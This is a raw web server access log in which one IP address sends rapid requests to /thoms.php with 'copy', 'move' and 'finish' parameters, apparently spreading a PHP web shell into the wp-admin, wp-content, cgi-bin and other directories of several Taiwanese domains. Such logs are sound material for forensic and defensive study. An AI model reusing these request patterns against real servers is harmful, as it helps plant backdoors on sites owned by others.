45.135.193.11 - - [11/Sep/2026:23:49:18 -0400] "GET /thoms.php?copy=thoms.php&p=bestjudy.com.tw%2Fupgrade HTTP/1.1" 200 11344 "http://163.245.207.76:443/thoms.php?copy=thoms.php&p=bestjudy.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:18 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22789 "https://163.245.207.76:443/thoms.php?copy=thoms.php&p=bestjudy.com.tw%2Fstatic-plugins" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:18 -0400] "GET /thoms.php?copy=thoms.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11460 "http://163.245.207.76:443/thoms.php?copy=thoms.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:18 -0400] "GET /thoms.php?copy=thoms.php&p=bestjudy.com.tw%2Fsite-settings HTTP/1.1" 200 11344 "http://163.245.207.76:443/thoms.php?copy=thoms.php&p=bestjudy.com.tw%2Fsite-settings" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:18 -0400] "GET /thoms.php?copy=thoms.php&finish=1&move=1&p=betcity.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=thoms.php&finish=1&move=1&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:18 -0400] "GET /thoms.php?copy=thoms.php&p=betcity.com.tw%2Fcgi-bin HTTP/1.1" 200 11341 "http://163.245.207.76:443/thoms.php?copy=thoms.php&p=betcity.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:18 -0400] "GET /thoms.php?copy=thoms.php&p=betcity.com.tw%2Fschema-shared HTTP/1.1" 200 11348 "http://163.245.207.76:443/thoms.php?copy=thoms.php&p=betcity.com.tw%2Fschema-shared" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:18 -0400] "GET /thoms.php?copy=thoms.php&p=betcity.com.tw%2Fupgrade HTTP/1.1" 200 11343 "http://163.245.207.76:443/thoms.php?copy=thoms.php&p=betcity.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:18 -0400] "GET /thoms.php?p=betcity.com.tw HTTP/1.1" 200 20831 "https://163.245.207.76:443/thoms.php?copy=thoms.php&finish=1&move=1&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:18 -0400] "GET /thoms.php?copy=thoms.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11445 "http://163.245.207.76:443/thoms.php?copy=thoms.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:18 -0400] "GET /thoms.php?copy=thoms.php&p=betcity.com.tw%2Fwp-content HTTP/1.1" 200 11438 "http://163.245.207.76:443/thoms.php?copy=thoms.php&p=betcity.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:18 -0400] "GET /thoms.php?copy=thoms.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11835 "http://163.245.207.76:443/thoms.php?copy=thoms.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:18 -0400] "GET /thoms.php?copy=thoms.php&finish=1&p=betcity.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=thoms.php&finish=1&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:18 -0400] "GET /thoms.php?copy=thoms.php&p=betcity.com.tw%2F.well-known HTTP/1.1" 200 11387 "http://163.245.207.76:443/thoms.php?copy=thoms.php&p=betcity.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:18 -0400] "GET /thoms.php?p=betcity.com.tw HTTP/1.1" 200 20831 "https://163.245.207.76:443/thoms.php?copy=thoms.php&finish=1&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:19 -0400] "GET /thoms.php?copy=thoms.php&p=betcity.com.tw%2Fdeprecated-complete HTTP/1.1" 200 11351 "http://163.245.207.76:443/thoms.php?copy=thoms.php&p=betcity.com.tw%2Fdeprecated-complete" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:19 -0400] "GET /thoms.php?copy=thoms.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 200 11450 "http://163.245.207.76:443/thoms.php?copy=thoms.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:19 -0400] "GET /thoms.php?copy=thoms.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 200 11843 "http://163.245.207.76:443/thoms.php?copy=thoms.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:19 -0400] "GET /thoms.php?copy=thoms.php&finish=1&move=1&p=biotaiwan.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=thoms.php&finish=1&move=1&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:19 -0400] "GET /thoms.php?copy=thoms.php&p=biotaiwan.com.tw%2Fcgi-bin HTTP/1.1" 200 11313 "http://163.245.207.76:443/thoms.php?copy=thoms.php&p=biotaiwan.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:19 -0400] "GET /thoms.php?copy=thoms.php&p=biotaiwan.com.tw%2Fupgrade HTTP/1.1" 200 11343 "http://163.245.207.76:443/thoms.php?copy=thoms.php&p=biotaiwan.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:19 -0400] "GET /thoms.php?p=biotaiwan.com.tw HTTP/1.1" 200 17505 "https://163.245.207.76:443/thoms.php?copy=thoms.php&finish=1&move=1&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:19 -0400] "GET /thoms.php?copy=thoms.php&finish=1&p=biotaiwan.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=thoms.php&finish=1&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:19 -0400] "GET /thoms.php?copy=thoms.php&p=biotaiwan.com.tw%2Fwidget-transformer HTTP/1.1" 200 11320 "http://163.245.207.76:443/thoms.php?copy=thoms.php&p=biotaiwan.com.tw%2Fwidget-transformer" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:19 -0400] "GET /thoms.php?copy=thoms.php&p=biotaiwan.com.tw%2Fwp-content HTTP/1.1" 200 11441 "http://163.245.207.76:443/thoms.php?copy=thoms.php&p=biotaiwan.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:19 -0400] "GET /thoms.php?p=biotaiwan.com.tw HTTP/1.1" 200 17504 "https://163.245.207.76:443/thoms.php?copy=thoms.php&finish=1&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:19 -0400] "GET /thoms.php?copy=thoms.php&p=biotaiwan.com.tw%2F.well-known HTTP/1.1" 200 11392 "http://163.245.207.76:443/thoms.php?copy=thoms.php&p=biotaiwan.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:19 -0400] "GET /thoms.php?copy=thoms.php&p=biotaiwan.com.tw%2Fpublic-languages HTTP/1.1" 200 11352 "http://163.245.207.76:443/thoms.php?copy=thoms.php&p=biotaiwan.com.tw%2Fpublic-languages" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:19 -0400] "GET /thoms.php?copy=thoms.php&finish=1&p=booking-wise2.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=thoms.php&finish=1&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:19 -0400] "GET /thoms.php?copy=thoms.php&p=booking-wise2.com.tw%2F.well-known HTTP/1.1" 200 11411 "http://163.245.207.76:443/thoms.php?copy=thoms.php&p=booking-wise2.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:20 -0400] "GET /thoms.php?copy=thoms.php&p=booking-wise2.com.tw%2Fupgrade HTTP/1.1" 200 11347 "http://163.245.207.76:443/thoms.php?copy=thoms.php&p=booking-wise2.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:19 -0400] "GET /thoms.php?p=booking-wise2.com.tw HTTP/1.1" 200 20430 "https://163.245.207.76:443/thoms.php?copy=thoms.php&finish=1&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:20 -0400] "GET /thoms.php?copy=thoms.php&finish=1&move=1&p=booking-wise2.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=thoms.php&finish=1&move=1&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:20 -0400] "GET /thoms.php?copy=thoms.php&p=booking-wise2.com.tw%2Fweb-common HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=thoms.php&p=booking-wise2.com.tw%2Fweb-common" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:20 -0400] "GET /thoms.php?p=booking-wise2.com.tw HTTP/1.1" 200 20538 "https://163.245.207.76:443/thoms.php?copy=thoms.php&finish=1&move=1&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:20 -0400] "GET /thoms.php?copy=thoms.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11455 "http://163.245.207.76:443/thoms.php?copy=thoms.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:20 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22788 "https://163.245.207.76:443/thoms.php?copy=thoms.php&p=booking-wise2.com.tw%2Fweb-common" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:20 -0400] "GET /thoms.php?copy=thoms.php&p=booking-wise2.com.tw%2Fwp-content HTTP/1.1" 200 11458 "http://163.245.207.76:443/thoms.php?copy=thoms.php&p=booking-wise2.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:20 -0400] "GET /thoms.php?copy=thoms.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11867 "http://163.245.207.76:443/thoms.php?copy=thoms.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:20 -0400] "GET /thoms.php?copy=thoms.php&p=booking-wise2.com.tw%2Fcgi-bin HTTP/1.1" 200 11329 "http://163.245.207.76:443/thoms.php?copy=thoms.php&p=booking-wise2.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:20 -0400] "GET /thoms.php?copy=thoms.php&p=booking-wise2.com.tw%2Fdata-unused HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=thoms.php&p=booking-wise2.com.tw%2Fdata-unused" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:20 -0400] "GET /thoms.php?copy=thoms.php&p=bossini.com.tw%2Fbridge-archive HTTP/1.1" 200 11365 "http://163.245.207.76:443/thoms.php?copy=thoms.php&p=bossini.com.tw%2Fbridge-archive" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:20 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22585 "https://163.245.207.76:443/thoms.php?copy=thoms.php&p=booking-wise2.com.tw%2Fdata-unused" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:20 -0400] "GET /thoms.php?copy=thoms.php&p=bossini.com.tw%2Ftransfer-sample HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=thoms.php&p=bossini.com.tw%2Ftransfer-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:20 -0400] "GET /thoms.php?copy=thoms.php&p=bossini.com.tw%2Fupgrade HTTP/1.1" 200 11344 "http://163.245.207.76:443/thoms.php?copy=thoms.php&p=bossini.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:20 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22787 "https://163.245.207.76:443/thoms.php?copy=thoms.php&p=bossini.com.tw%2Ftransfer-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:20 -0400] "GET /thoms.php?copy=thoms.php&finish=1&p=bossini.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=thoms.php&finish=1&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:21 -0400] "GET /thoms.php?copy=thoms.php&finish=1&move=1&p=bossini.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=thoms.php&finish=1&move=1&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:21 -0400] "GET /thoms.php?copy=thoms.php&p=bossini.com.tw%2F.well-known HTTP/1.1" 200 11390 "http://163.245.207.76:443/thoms.php?copy=thoms.php&p=bossini.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:21 -0400] "GET /thoms.php?p=bossini.com.tw HTTP/1.1" 200 20967 "https://163.245.207.76:443/thoms.php?copy=thoms.php&finish=1&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:21 -0400] "GET /thoms.php?p=bossini.com.tw HTTP/1.1" 200 20966 "https://163.245.207.76:443/thoms.php?copy=thoms.php&finish=1&move=1&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:21 -0400] "GET /thoms.php?copy=thoms.php&p=bossini.com.tw%2Fcgi-bin HTTP/1.1" 200 11312 "http://163.245.207.76:443/thoms.php?copy=thoms.php&p=bossini.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:21 -0400] "GET /thoms.php?copy=thoms.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11448 "http://163.245.207.76:443/thoms.php?copy=thoms.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:21 -0400] "GET /thoms.php?copy=thoms.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11836 "http://163.245.207.76:443/thoms.php?copy=thoms.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:21 -0400] "GET /thoms.php?copy=thoms.php&p=bossini.com.tw%2Fwp-content HTTP/1.1" 200 11450 "http://163.245.207.76:443/thoms.php?copy=thoms.php&p=bossini.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:21 -0400] "GET /thoms.php?copy=thoms.php&p=bogroup.com.tw%2Fcgi-bin HTTP/1.1" 200 11342 "http://163.245.207.76:443/thoms.php?copy=thoms.php&p=bogroup.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:21 -0400] "GET /thoms.php?copy=thoms.php&finish=1&p=bogroup.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=thoms.php&finish=1&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:21 -0400] "GET /thoms.php?copy=thoms.php&p=bogroup.com.tw%2F.well-known HTTP/1.1" 200 11389 "http://163.245.207.76:443/thoms.php?copy=thoms.php&p=bogroup.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:21 -0400] "GET /thoms.php?p=bogroup.com.tw HTTP/1.1" 200 17361 "https://163.245.207.76:443/thoms.php?copy=thoms.php&finish=1&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:21 -0400] "GET /thoms.php?copy=thoms.php&p=bogroup.com.tw%2Fupgrade HTTP/1.1" 200 11308 "http://163.245.207.76:443/thoms.php?copy=thoms.php&p=bogroup.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:21 -0400] "GET /thoms.php?copy=thoms.php&finish=1&move=1&p=bogroup.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=thoms.php&finish=1&move=1&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:21 -0400] "GET /thoms.php?p=bogroup.com.tw HTTP/1.1" 200 17366 "https://163.245.207.76:443/thoms.php?copy=thoms.php&finish=1&move=1&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:21 -0400] "GET /thoms.php?copy=thoms.php&p=bogroup.com.tw%2Fcatalog-build HTTP/1.1" 200 11357 "http://163.245.207.76:443/thoms.php?copy=thoms.php&p=bogroup.com.tw%2Fcatalog-build" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:21 -0400] "GET /thoms.php?copy=thoms.php&p=bogroup.com.tw%2Flog-seed HTTP/1.1" 200 11354 "http://163.245.207.76:443/thoms.php?copy=thoms.php&p=bogroup.com.tw%2Flog-seed" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:21 -0400] "GET /thoms.php?copy=thoms.php&p=bogroup.com.tw%2Fwp-admin HTTP/1.1" 200 11410 "http://163.245.207.76:443/thoms.php?copy=thoms.php&p=bogroup.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:22 -0400] "GET /thoms.php?copy=thoms.php&p=bogroup.com.tw%2Fwp-content HTTP/1.1" 200 11437 "http://163.245.207.76:443/thoms.php?copy=thoms.php&p=bogroup.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:22 -0400] "GET /thoms.php?copy=thoms.php&p=bogroup.com.tw%2Fwp-includes HTTP/1.1" 200 11846 "http://163.245.207.76:443/thoms.php?copy=thoms.php&p=bogroup.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:22 -0400] "GET /thoms.php?copy=thoms.php&finish=1&move=1&p=bioway88.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=thoms.php&finish=1&move=1&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:22 -0400] "GET /thoms.php?copy=thoms.php&p=bioway88.com.tw%2Fwp-admin HTTP/1.1" 200 11462 "http://163.245.207.76:443/thoms.php?copy=thoms.php&p=bioway88.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:22 -0400] "GET /thoms.php?p=bioway88.com.tw HTTP/1.1" 200 17710 "https://163.245.207.76:443/thoms.php?copy=thoms.php&finish=1&move=1&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:22 -0400] "GET /thoms.php?copy=thoms.php&p=bioway88.com.tw%2Fwp-content HTTP/1.1" 200 11419 "http://163.245.207.76:443/thoms.php?copy=thoms.php&p=bioway88.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:22 -0400] "GET /thoms.php?copy=thoms.php&p=bioway88.com.tw%2Fwp-includes HTTP/1.1" 200 11857 "http://163.245.207.76:443/thoms.php?copy=thoms.php&p=bioway88.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:22 -0400] "GET /thoms.php?copy=thoms.php&p=bioway88.com.tw%2F.well-known HTTP/1.1" 200 11400 "http://163.245.207.76:443/thoms.php?copy=thoms.php&p=bioway88.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
